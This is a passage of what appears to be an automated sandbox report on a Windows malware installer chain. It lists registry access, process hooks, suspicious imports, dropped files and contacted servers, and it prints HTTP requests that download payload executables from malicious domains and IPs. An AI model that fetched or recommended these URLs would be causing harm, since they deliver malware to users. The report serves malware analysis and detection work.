      "x86_x64_setup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: "DISABLESECURITYSETTINGSCHECK")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: "DISABLESECURITYSETTINGSCHECK")
      "metina_7.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: "DISABLESECURITYSETTINGSCHECK")
      "metina_5.tmp" (Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: "DISABLESECURITYSETTINGSCHECK")
      "askinstall47.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: "DISABLESECURITYSETTINGSCHECK")
      source
      Registry Access
      relevance
      8/10
      ATT&CK ID
      T1012 (Show technique in the MITRE ATT&CK™ matrix)
  • Unusual Characteristics
    • CRC value set in PE header does not match actual value
      details
      "libhttp_plugin.dll" claimed CRC 93689 while the actual is CRC 5223542
      "libcdda_plugin.dll" claimed CRC 208903 while the actual is CRC 93689
      "vcruntime140.dll" claimed CRC 111330 while the actual is CRC 208903
      "libfingerprinter_plugin.dll" claimed CRC 69168 while the actual is CRC 111330
      "libdiracsys_plugin.dll" claimed CRC 73616 while the actual is CRC 795042
      "libpacketizer_mlp_plugin.dll" claimed CRC 45463 while the actual is CRC 73616
      "libmosaic_plugin.dll" claimed CRC 82794 while the actual is CRC 1503913
      "libmjpeg_plugin.dll" claimed CRC 74735 while the actual is CRC 82794
      "libwall_plugin.dll" claimed CRC 104875 while the actual is CRC 74735
      "libcaf_plugin.dll" claimed CRC 85558 while the actual is CRC 104875
      "libdemux_stl_plugin.dll" claimed CRC 28015 while the actual is CRC 85558
      "libmpgv_plugin.dll" claimed CRC 33256 while the actual is CRC 28015
      "libcurl.dll" claimed CRC 260782 while the actual is CRC 33256
      "libaccess_wasapi_plugin.dll" claimed CRC 87256 while the actual is CRC 260782
      "libsdp_plugin.dll" claimed CRC 73638 while the actual is CRC 87256
      "libaddonsvorepository_plugin.dll" claimed CRC 91123 while the actual is CRC 73638
      "libdemuxdump_plugin.dll" claimed CRC 25477 while the actual is CRC 91123
      "connection.dll" claimed CRC 852777 while the actual is CRC 25477
      "libtta_plugin.dll" claimed CRC 26322 while the actual is CRC 852777
      "libpacketizer_copy_plugin.dll" claimed CRC 31778 while the actual is CRC 26322
      source
      Static Parser
      relevance
      10/10
    • Entrypoint in PE header is within an uncommon section
      details
      "libcurl.dll" has an entrypoint in section ".aspack"
      source
      Static Parser
      relevance
      10/10
    • Imports suspicious APIs
      details
      RegCreateKeyExW
      RegDeleteValueW
      RegCloseKey
      OpenProcessToken
      RegEnumKeyW
      RegOpenKeyExW
      RegDeleteKeyW
      CopyFileW
      GetModuleFileNameW
      GetFileAttributesW
      GetFileSize
      GetCommandLineW
      LoadLibraryExW
      CreateDirectoryW
      DeleteFileW
      GetProcAddress
      GetTempFileNameW
      GetModuleHandleA
      CreateThread
      FindNextFileW
      GetTempPathW
      FindFirstFileW
      GetModuleHandleW
      WriteFile
      CreateFileW
      CreateProcessW
      Sleep
      GetTickCount
      ShellExecuteExW
      FindWindowExW
      VirtualProtect
      UnhandledExceptionFilter
      TerminateProcess
      closesocket
      DeviceIoControl
      CreateFileA
      send
      connect
      recv
      socket
      LookupAccountNameA
      OutputDebugStringW
      IsDebuggerPresent
      GetModuleHandleExW
      LoadLibraryA
      GetStartupInfoW
      GetFileSizeEx
      GetComputerNameA
      FindFirstFileExW
      GetCommandLineA
      GetFileAttributesExW
      SetSecurityDescriptorDacl
      LookupAccountNameW
      GetFileAttributesA
      GetTempPathA
      OutputDebugStringA
      GetModuleFileNameA
      ExitThread
      LoadLibraryW
      WinExec
      OpenProcess
      CreateDirectoryA
      DeleteFileA
      GetComputerNameW
      CreateFileMappingW
      LockResource
      MapViewOfFile
      CreateProcessA
      FindResourceW
      ShellExecuteExA
      GetDriveTypeW
      FindResourceExW
      CreateDirectoryExW
      GetVersionExW
      GetStartupInfoA
      CopyFileExW
      Process32FirstW
      VirtualAlloc
      CreateServiceA
      StartServiceCtrlDispatcherW
      FindFirstFileExA
      FindNextFileA
      OpenFileMappingA
      GetVersionExA
      GetTempFileNameA
      FindFirstFileA
      RegCreateKeyW
      RegOpenKeyExA
      CopyFileA
      WriteFileGather
      GetComputerNameExW
      source
      Static Parser
      relevance
      1/10
    • Installs hooks/patches the running process
      details
      "x86_x64_setup.exe" wrote bytes "711163027a3b6202ab8b02007f950200fc8c0200729602006cc805001ecd5f027d265f02" to virtual address "0x74DD07E4" (part of module "USER32.DLL")
      "x86_x64_setup.exe" wrote bytes "c0df3a771cf93977ccf839770d643b7700000000c011cb7400000000fc3ecb7400000000e013cb74000000009457df7625e03a77c6e03a7700000000bc6ade7600000000cf31cb74000000009319df76000000002c32cb7400000000" to virtual address "0x74C91000" (part of module "NSI.DLL")
      "x86_x64_setup.exe" wrote bytes "d0550c75647315750000000051c1db759498db75ee9cdb7575dcdd75273edd750fb3e175000000008548cb746987cb740f77cd74d917cb74ead7cc74a934cb74f811cb742014cb744cbccd74f516cb745414cb74ff10cb743214cb7400000000" to virtual address "0x735F1000" (part of module "SHFOLDER.DLL")
      "setup_installer.exe" wrote bytes "711163027a3b6202ab8b02007f950200fc8c0200729602006cc805001ecd5f027d265f02" to virtual address "0x74DD07E4" (part of module "USER32.DLL")
      "setup_installer.exe" wrote bytes "c0df3a771cf93977ccf839770d643b7700000000c011cb7400000000fc3ecb7400000000e013cb74000000009457df7625e03a77c6e03a7700000000bc6ade7600000000cf31cb74000000009319df76000000002c32cb7400000000" to virtual address "0x74C91000" (part of module "NSI.DLL")
      "setup_install.exe" wrote bytes "f6ff4974" to virtual address "0x0051AFD0" (part of module "SETUP_INSTALL.EXE")
      "setup_install.exe" wrote bytes "7d073e7781ed3c77ae863b77c6e03a77effd3d772d163c7760143e77478d3b77a8e23a7760893b7700000000ad37ff748b2dff74b641ff7400000000" to virtual address "0x73341000" (part of module "WSHTCPIP.DLL")
      "setup_install.exe" wrote bytes "0efc3d7781ed3c77ae863b77c6e03a77effd3d772d163c77c0fc3977da8f447760143e77478d3b77a8e23a7760893b7700000000ad37ff748b2dff74b641ff7400000000" to virtual address "0x73351000" (part of module "WSHIP6.DLL")
      "setup_install.exe" wrote bytes "c0df3a771cf93977ccf839770d643b7700000000c011cb7400000000fc3ecb7400000000e013cb74000000009457df7625e03a77c6e03a7700000000bc6ade7600000000cf31cb74000000009319df76000000002c32cb7400000000" to virtual address "0x74C91000" (part of module "NSI.DLL")
      "setup_install.exe" wrote bytes "711163027a3b6202ab8b02007f950200fc8c0200729602006cc805001ecd5f027d265f02" to virtual address "0x74DD07E4" (part of module "USER32.DLL")
      "setup_install.exe" wrote bytes "f6ff4974" to virtual address "0x6B2A3FD0" (part of module "LIBCURLPP.DLL")
      "setup_install.exe" wrote bytes "f6ff4974" to virtual address "0x6B4CCFD0" (part of module "LIBCURL.DLL")
      "setup_install.exe" wrote bytes "f6ff4974" to virtual address "0x6FFC3FD0" (part of module "LIBSTDC++-6.DLL")
      "cmd.exe" wrote bytes "711163027a3b6202ab8b02007f950200fc8c0200729602006cc805001ecd5f027d265f02" to virtual address "0x74DD07E4" (part of module "USER32.DLL")
      "cmd.exe" wrote bytes "c0df3a771cf93977ccf839770d643b7700000000c011cb7400000000fc3ecb7400000000e013cb74000000009457df7625e03a77c6e03a7700000000bc6ade7600000000cf31cb74000000009319df76000000002c32cb7400000000" to virtual address "0x74C91000" (part of module "NSI.DLL")
      source
      Hook Detection
      relevance
      10/10
      ATT&CK ID
      T1179 (Show technique in the MITRE ATT&CK™ matrix)
    • Reads information about supported languages
      details
      "metina_6.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409")
      "metina_7.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409")
      "metina_5.tmp" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409")
      "3DzimCCHok4QI3oge55SJ4Fn.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409")
      "rundll32.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409")
      "bitsadmin.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409")
      source
      Registry Access
      relevance
      3/10
      ATT&CK ID
      T1012 (Show technique in the MITRE ATT&CK™ matrix)
    • Timestamp in PE header is very old or in the future
      details
      "libpacketizer_mlp_plugin.dll" claims program is from Thu Jan 1 00:01:48 1970
      "libmosaic_plugin.dll" claims program is from Thu Oct 29 09:32:32 1998
      "libdemux_stl_plugin.dll" claims program is from Wed Jun 10 07:21:08 1998
      "libtta_plugin.dll" claims program is from Thu Jan 1 00:05:52 1970
      "libpva_plugin.dll" claims program is from Thu Jan 1 00:01:08 1970
      "libmux_ps_plugin.dll" claims program is from Fri Oct 22 10:10:05 1999
      "libmarq_plugin.dll" claims program is from Wed Jan 6 10:09:03 1999
      "libasf_plugin.dll" claims program is from Sat Nov 18 19:14:25 1995
      "libpacketizer_mpeg4video_plugin.dll" claims program is from Wed Jun 2 13:52:32 1999
      "libreal_plugin.dll" claims program is from Thu Nov 14 14:53:55 1996
      "libvobsub_plugin.dll" claims program is from Sun Feb 23 12:07:28 1997
      "libpacketizer_dirac_plugin.dll" claims program is from Thu Jan 1 03:24:48 1970
      source
      Static Parser
      relevance
      10/10
  • Hiding 23 Suspicious Indicators
    • All indicators are available only in the private webservice or standalone version

  • Informative 32

  • Anti-Reverse Engineering
  • Environment Awareness
    • Reads the registry for installed applications
      details
      "x86_x64_setup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SETUP_INSTALLER.EXE")
      "x86_x64_setup.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SETUP_INSTALLER.EXE")
      "setup_installer.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SETUP_INSTALL.EXE")
      "setup_installer.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SETUP_INSTALL.EXE")
      "metina_1.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\METINA_1.EXE")
      "metina_1.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\METINA_1.EXE")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\XB9XD_YTTFVCIZQ3PHDYXQY4.EXE")
      "metina_6.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\XB9XD_YTTFVCIZQ3PHDYXQY4.EXE")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\CZWUTBVE69_CM6INR5XZSTTE.EXE")
      "metina_6.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\CZWUTBVE69_CM6INR5XZSTTE.EXE")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\_KZTG30M8BPIGHZ8QDY1FPFN.EXE")
      "metina_6.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\_KZTG30M8BPIGHZ8QDY1FPFN.EXE")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\3DZIMCCHOK4QI3OGE55SJ4FN.EXE")
      "metina_6.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\3DZIMCCHOK4QI3OGE55SJ4FN.EXE")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\KXLAX1FU66ZYE0YNKXINXVSZ.EXE")
      "metina_6.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\KXLAX1FU66ZYE0YNKXINXVSZ.EXE")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\9U14_LRCKUPDQYYFW4HQQ_ZL.EXE")
      "metina_6.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\9U14_LRCKUPDQYYFW4HQQ_ZL.EXE")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\GRBREEDIF7LFRMCKLOQFHGWS.EXE")
      "metina_6.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\GRBREEDIF7LFRMCKLOQFHGWS.EXE")
      source
      Registry Access
      relevance
      10/10
      ATT&CK ID
      T1012 (Show technique in the MITRE ATT&CK™ matrix)
  • External Systems
    • Detected Suricata Alert
      details
      Detected alert "ET INFO Packed Executable Download" (SID: 2014819, Rev: 3, Severity: 3) categorized as "Misc activity"
      source
      Suricata Alerts
      relevance
      10/10
  • General
    • Accesses Software Policy Settings
      details
      "metina_6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST"; Key: "")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CERTIFICATES"; Key: "")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CRLS"; Key: "")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CTLS"; Key: "")
      source
      Registry Access
      relevance
      10/10
      ATT&CK ID
      T1012 (Show technique in the MITRE ATT&CK™ matrix)
    • Accesses System Certificates Settings
      details
      "metina_6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\PROTECTEDROOTS"; Key: "CERTIFICATES")
      "metina_6.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\18F7C1FCC3090203FD5BAA2F861A754976C8DD25"; Key: "BLOB")
      "metina_6.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\245C97DF7514E7CF2DF8BE72AE957B9E04741E85"; Key: "BLOB")
      "metina_6.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\3B1EFD3A66EA28B16697394703A72CA340A05BD5"; Key: "BLOB")
      "metina_6.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\7F88CD7223F3C813818C994614A89C99FA3B5247"; Key: "BLOB")
      "metina_6.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\8F43288AD272F3103B6FB1428485EA3014C0BCFE"; Key: "BLOB")
      "metina_6.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\A43489159A520F0D93D032CCAF37E7FE20A8B419"; Key: "BLOB")
      "metina_6.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\BE36A4562FB2EE05DBB3D32323ADF445084ED656"; Key: "BLOB")
      "metina_6.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\CDD4EEAE6000AC7F40C3802C171E30148030C072"; Key: "BLOB")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\1FB86B1168EC743154062E8C9CC5B171A4B7CCB4"; Key: "BLOB")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\902EF2DEEB3C5B13EA4C3D5193629309E231AE55"; Key: "BLOB")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\C86EDBC71AB05078F61ACDF3D8DC5DB61EB75FB6"; Key: "BLOB")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E3FC0AD84F2F5A83ED6F86F567F8B14B40DCBF12"; Key: "BLOB")
      "metina_6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\EAB040689A0D805B5D6FD654FC168CFF00B78BE3"; Key: "BLOB")
      source
      Registry Access
      relevance
      10/10
      ATT&CK ID
      T1112 (Show technique in the MITRE ATT&CK™ matrix)
    • An application crash occurred
      details
      "WerFault.exe" loaded module "%WINDIR%\SysWOW64\Faultrep.dll" at 70790000
      source
      Loaded Module
    • Contacts domains
      details
      "razino.xyz"
      "ip-api.com"
      "nicepricingsaleregistration.com"
      "cor-tips.com"
      "crl.identrust.com"
      "salam.amongus-pc4.xyz"
      "uehge4g6gh.2ihsfa.com"
      "marsdevelopmentsftwr.com"
      source
      Network Traffic
      relevance
      1/10
    • Contacts server
      details
      "104.21.86.8:80"
      "136.144.41.152:80"
      "208.95.112.1:80"
      "157.240.18.35:443"
      "89.221.213.3:80"
      "136.144.41.133:80"
      "162.159.135.233:80"
      "172.67.131.176:80"
      "104.21.65.45:80"
      "185.20.227.194:80"
      "104.21.65.45:443"
      "172.67.131.176:443"
      "162.159.135.233:443"
      "205.185.216.10:80"
      "172.232.15.138:80"
      "198.54.116.159:80"
      "184.28.78.7:80"
      "144.202.76.47:443"
      "88.99.66.31:443"
      "172.67.175.176:80"
      source
      Network Traffic
      relevance
      1/10
    • Creates a writable file in a temporary directory
      details
      "x86_x64_setup.exe" created file "%TEMP%\nsq6E23.tmp"
      "x86_x64_setup.exe" created file "C:\Users\%USERNAME%\AppData\Local\Temp\setup_installer.exe"
      "setup_installer.exe" created file "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\libcurlpp.dll"
      "setup_installer.exe" created file "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\libgcc_s_dw2-1.dll"
      "setup_installer.exe" created file "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\libstdc++-6.dll"
      "setup_installer.exe" created file "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\libwinpthread-1.dll"
      "setup_installer.exe" created file "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_1.exe"
      "setup_installer.exe" created file "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_2.exe"
      "setup_installer.exe" created file "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_3.exe"
      "setup_installer.exe" created file "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_4.exe"
      "setup_installer.exe" created file "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_5.exe"
      "setup_installer.exe" created file "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_6.exe"
      "setup_installer.exe" created file "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_7.exe"
      "setup_installer.exe" created file "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_8.exe"
      "setup_installer.exe" created file "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\setup_install.exe"
      "setup_installer.exe" created file "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\libcurl.dll"
      "metina_1.exe" created file "C:\Users\%USERNAME%\AppData\Local\Temp\vcruntime140.dll"
      "metina_1.exe" created file "C:\Users\%USERNAME%\AppData\Local\Temp\plugin-hang-ui.exe"
      "metina_1.exe" created file "C:\Users\%USERNAME%\AppData\Local\Temp\IA2Marshal.dll"
      "metina_1.exe" created file "C:\Users\%USERNAME%\AppData\Local\Temp\install.dat"
      source
      API Call
      relevance
      1/10
    • Creates mutants
      details
      "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex"
      "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex"
      "Local\ZonesLockedCacheCounterMutex"
      "Local\ZonesCacheCounterMutex"
      source
      Created Mutant
      relevance
      3/10
    • Drops files marked as clean
      details
      Antivirus vendors marked dropped file "libhttp_plugin.dll" as clean (type is "PE32 executable (DLL) (console) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "jVLSUYQv7J3WkDTaSyOWiytM.exe" as clean (type is "HTML document ASCII text"), Antivirus vendors marked dropped file "libcdda_plugin.dll" as clean (type is "PE32 executable (DLL) (console) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "vcruntime140.dll" as clean (type is "PE32+ executable (DLL) (console) x86-64 for MS Windows"), Antivirus vendors marked dropped file "libfingerprinter_plugin.dll" as clean (type is "PE32 executable (DLL) (console) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "libdiracsys_plugin.dll" as clean (type is "PE32 executable (DLL) (console) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "libpacketizer_mlp_plugin.dll" as clean (type is "PE32 executable (DLL) (console) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "libmosaic_plugin.dll" as clean (type is "PE32 executable (DLL) (console) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "libmjpeg_plugin.dll" as clean (type is "PE32 executable (DLL) (console) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "libwall_plugin.dll" as clean (type is "PE32 executable (DLL) (console) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "libcaf_plugin.dll" as clean (type is "PE32 executable (DLL) (console) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "libdemux_stl_plugin.dll" as clean (type is "PE32 executable (DLL) (console) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "libmpgv_plugin.dll" as clean (type is "PE32 executable (DLL) (console) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "libaccess_wasapi_plugin.dll" as clean (type is "PE32 executable (DLL) (console) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "libsdp_plugin.dll" as clean (type is "PE32 executable (DLL) (console) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "libaddonsvorepository_plugin.dll" as clean (type is "PE32 executable (DLL) (console) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "libdemuxdump_plugin.dll" as clean (type is "PE32 executable (DLL) (console) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "connection.dll" as clean (type is "PE32 executable (DLL) (console) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "libtta_plugin.dll" as clean (type is "PE32 executable (DLL) (console) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "libpacketizer_copy_plugin.dll" as clean (type is "PE32 executable (DLL) (console) Intel 80386 for MS Windows")
      source
      Binary File
      relevance
      10/10
    • GETs files from a webserver
      details
      "GET /addInstallImpression.php?key=125478824515ADNxu2ccbwe&ip=&oid=139 HTTP/1.1
      Host: razino.xyz
      Accept: */*"
      "GET /addInstall.php?key=125478824515ADNxu2ccbwe&ip=&oid=139&oname[]=15June340PM&oname[]=7&oname[]=1&oname[]=2&oname[]=3&oname[]=4&oname[]=5&oname[]=6&oname[]=8&cnt=8 HTTP/1.1
      Host: razino.xyz
      Accept: */*"
      "GET /json/ HTTP/1.1
      Connection: Keep-Alive
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
      Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60
      viewport-width: 1920
      Host: ip-api.com"
      "GET /campaign1/SunLabsPlayer.exe HTTP/1.1
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
      Host: nicepricingsaleregistration.com
      Cache-Control: no-cache"
      "GET /WW/file5.exe HTTP/1.1
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
      Host: 136.144.41.133
      Cache-Control: no-cache"
      "GET /WW/file2.exe HTTP/1.1
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
      Host: 136.144.41.133
      Cache-Control: no-cache"
      "GET /After_math_Eminem/AdvertiserInstaller/UltraMediaBurner/UltraMediaBurner.exe HTTP/1.1
      Accept: */*
      User-Agent: InnoDownloadPlugin/1.5
      Host: cor-tips.com
      Connection: Keep-Alive
      Cache-Control: no-cache"
      "GET /DSTROOTCAX3CRL.crl HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      User-Agent: Microsoft-CryptoAPI/6.1
      Host: crl.identrust.com"
      "GET /api/fbtime HTTP/1.1
      Connection: Keep-Alive
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60
      Host: uehge4g6gh.2ihsfa.com"
      "GET /data/data.7z HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      Accept-Encoding: identity
      If-Unmodified-Since: Tue, 22 Jun 2021 05:37:37 GMT
      Range: bytes=0-5001
      User-Agent: Microsoft BITS/7.5
      Host: marsdevelopmentsftwr.com"
      "GET /data/data.7z HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      Accept-Encoding: identity
      If-Unmodified-Since: Tue, 22 Jun 2021 05:37:37 GMT
      Range: bytes=5002-10188
      User-Agent: Microsoft BITS/7.5
